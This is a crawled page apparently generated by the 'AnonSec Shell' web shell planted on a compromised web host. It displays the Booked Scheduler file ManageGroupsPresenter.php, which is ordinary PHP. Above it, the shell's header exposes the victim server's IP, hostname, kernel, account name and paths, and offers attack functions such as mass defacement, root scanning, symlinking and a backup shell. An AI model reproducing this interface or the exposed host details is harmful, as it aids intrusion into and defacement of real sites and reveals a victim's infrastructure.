. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/Presenters/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/Presenters/Admin/ManageGroupsPresenter.php
<?php
/**
Copyright 2011-2014 Nick Korbel

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
*/

require_once(ROOT_DIR . 'Domain/Access/namespace.php');
require_once(ROOT_DIR . 'Presenters/ActionPresenter.php');
require_once(ROOT_DIR . 'lib/Application/Authentication/namespace.php');

class ManageGroupsActions
{
	const Activate = 'activate';
	const Deactivate = 'deactivate';
	const Password = 'password';
	const Permissions = 'permissions';
	const RemoveUser = 'removeUser';
	const AddUser = 'addUser';
	const AddGroup = 'addGroup';
	const RenameGroup = 'renameGroup';
	const DeleteGroup = 'deleteGroup';
	const Roles = 'roles';
	const GroupAdmin = 'groupAdmin';
}

class ManageGroupsPresenter extends ActionPresenter
{
	/**
	 * @var IManageGroupsPage
	 */
	private $page;

	/**
	 * @var GroupRepository
	 */
	private $groupRepository;

	/**
	 * @var ResourceRepository
	 */
	private $resourceRepository;

	/**
	 * @param IManageGroupsPage $page
	 * @param GroupRepository $groupRepository
	 * @param ResourceRepository $resourceRepository
	 */
	public function __construct(IManageGroupsPage $page, GroupRepository $groupRepository, ResourceRepository $resourceRepository)
	{
		parent::__construct($page);

		$this->page = $page;
		$this->groupRepository = $groupRepository;
		$this->resourceRepository = $resourceRepository;

		$this->AddAction(ManageGroupsActions::AddUser, 'AddUser');
		$this->AddAction(ManageGroupsActions::RemoveUser, 'RemoveUser');
		$this->AddAction(ManageGroupsActions::Permissions, 'ChangePermissions');
		$this->AddAction(ManageGroupsActions::AddGroup, 'AddGroup');
		$this->AddAction(ManageGroupsActions::RenameGroup, 'RenameGroup');
		$this->AddAction(ManageGroupsActions::DeleteGroup, 'DeleteGroup');
		$this->AddAction(ManageGroupsActions::Roles, 'ChangeRoles');
		$this->AddAction(ManageGroupsActions::GroupAdmin, 'ChangeGroupAdmin');
	}

	public function PageLoad()
	{
		if ($this->page->GetGroupId() != null)
		{
			$groupList = $this->groupRepository->GetList(1, 1, null, null, new SqlFilterEquals(new SqlFilterColumn(TableNames::GROUPS_ALIAS, ColumnNames::GROUP_ID), $this->page->GetGroupId()));
		}
		else
		{
			$groupList = $this->groupRepository->GetList($this->page->GetPageNumber(), $this->page->GetPageSize());
		}

		$this->page->BindGroups($groupList->Results());
		$this->page->BindPageInfo($groupList->PageInfo());

		$this->page->BindResources($this->resourceRepository->GetResourceList());

		$this->page->BindRoles(array(
                                   new RoleDto(1,'Group Admin', RoleLevel::GROUP_ADMIN),
                                   new RoleDto(2, 'Application Admin', RoleLevel::APPLICATION_ADMIN),
                                   new RoleDto(3, 'Resource Admin', RoleLevel::RESOURCE_ADMIN),
                                   new RoleDto(4, 'Schedule Admin', RoleLevel::SCHEDULE_ADMIN)
                                ));
		$this->page->BindAdminGroups($this->groupRepository->GetGroupsByRole(RoleLevel::GROUP_ADMIN));
	}

	public function ChangePermissions()
	{
		$group = $this->groupRepository->LoadById($this->page->GetGroupId());
		$allowedResources = array();

		if (is_array($this->page->GetAllowedResourceIds())) {
			$allowedResources = $this->page->GetAllowedResourceIds();
		}
		$group->ChangePermissions($allowedResources);
		$this->groupRepository->Update($group);
	}

	public function ChangeRoles()
	{
		$groupId = $this->page->GetGroupId();
		Log::Debug("Changing roles for groupId: %s", $groupId);

		$group = $this->groupRepository->LoadById($groupId);
		$roles = array();

		if (is_array($this->page->GetRoleIds())) {
			$roles = $this->page->GetRoleIds();
		}
		$group->ChangeRoles($roles);
		$this->groupRepository->Update($group);
	}

	public function ProcessDataRequest()
	{
		$response = '';
		$request = $this->page->GetDataRequest();
		switch($request)
		{
			case 'groupMembers' :
				$users = $this->groupRepository->GetUsersInGroup($this->page->GetGroupId(), 1, 100);
				$response = new UserGroupResults($users->Results(), $users->PageInfo()->Total);
				break;
			case 'permissions' :
				$response = $this->GetGroupResourcePermissions();
				break;
			case 'roles' :
				$response = $this->GetGroupRoles();
				break;
		}

		$this->page->SetJsonResponse($response);
	}

	/**
	 * @return int[] all resource ids the user has permission to
	 */
	public function GetGroupResourcePermissions()
	{
		$group = $this->groupRepository->LoadById($this->page->GetGroupId());
		return $group->AllowedResourceIds();
	}

	protected function AddUser()
	{
		$groupId = $this->page->GetGroupId();
		$userId = $this->page->GetUserId();

		Log::Debug("Adding userId: %s to groupId: %s", $userId, $groupId);

		$group = $this->groupRepository->LoadById($groupId);
		$group->AddUser($userId);
		$this->groupRepository->Update($group);
	}

	protected function RemoveUser()
	{
		$groupId = $this->page->GetGroupId();
		$userId = $this->page->GetUserId();

		Log::Debug('Removing userId: %s from groupId: %s', $userId, $groupId);

		$group = $this->groupRepository->LoadById($groupId);
		$group->RemoveUser($userId);
		$this->groupRepository->Update($group);
	}

	protected function AddGroup()
	{
		$groupName = $this->page->GetGroupName();
		Log::Debug('Adding new group with name: %s', $groupName);

		$group = new Group(0, $groupName);
		$this->groupRepository->Add($group);
	}

	protected function RenameGroup()
	{
		$groupId = $this->page->GetGroupId();
		$groupName = $this->page->GetGroupName();
		Log::Debug('Renaming group id: %s to: %s', $groupId, $groupName);

		$group = $this->groupRepository->LoadById($groupId);
		$group->Rename($groupName);

		$this->groupRepository->Update($group);
	}

	protected function DeleteGroup()
	{
		$groupId = $this->page->GetGroupId();

		Log::Debug("Deleting groupId: %s", $groupId);

		$group = $this->groupRepository->LoadById($groupId);
		$this->groupRepository->Remove($group);
	}

	protected function ChangeGroupAdmin()
	{
		$groupId = $this->page->GetGroupId();
		$adminGroupId = $this->page->GetAdminGroupId();

		Log::Debug("Changing admin for groupId: %s to %s", $groupId, $adminGroupId);

		$group = $this->groupRepository->LoadById($groupId);

		$group->ChangeAdmin($adminGroupId);

		$this->groupRepository->Update($group);
	}
	/**
	 * @return array|int[]
	 */
	protected function GetGroupRoles()
	{
		$groupId = $this->page->GetGroupId();
		$group = $this->groupRepository->LoadById($groupId);

		$ids = $group->RoleIds();

		return $ids;
	}
}

class UserGroupResults
{
	/**
	 * @param UserItemView[] $users
	 * @param int $totalUsers
	 */
	public function __construct($users, $totalUsers)
	{
		foreach ($users as $user)
		{
			$this->Users[] = new AutocompleteUser($user->Id, $user->First, $user->Last, $user->Email, $user->Username);
		}
		$this->Total = $totalUsers;
	}

	/**
	 * @var int
	 */
	public $Total;

	/**
	 * @var AutocompleteUser[]
	 */
	public $Users;
}

?>

Anon7 - 2022
AnonSec Team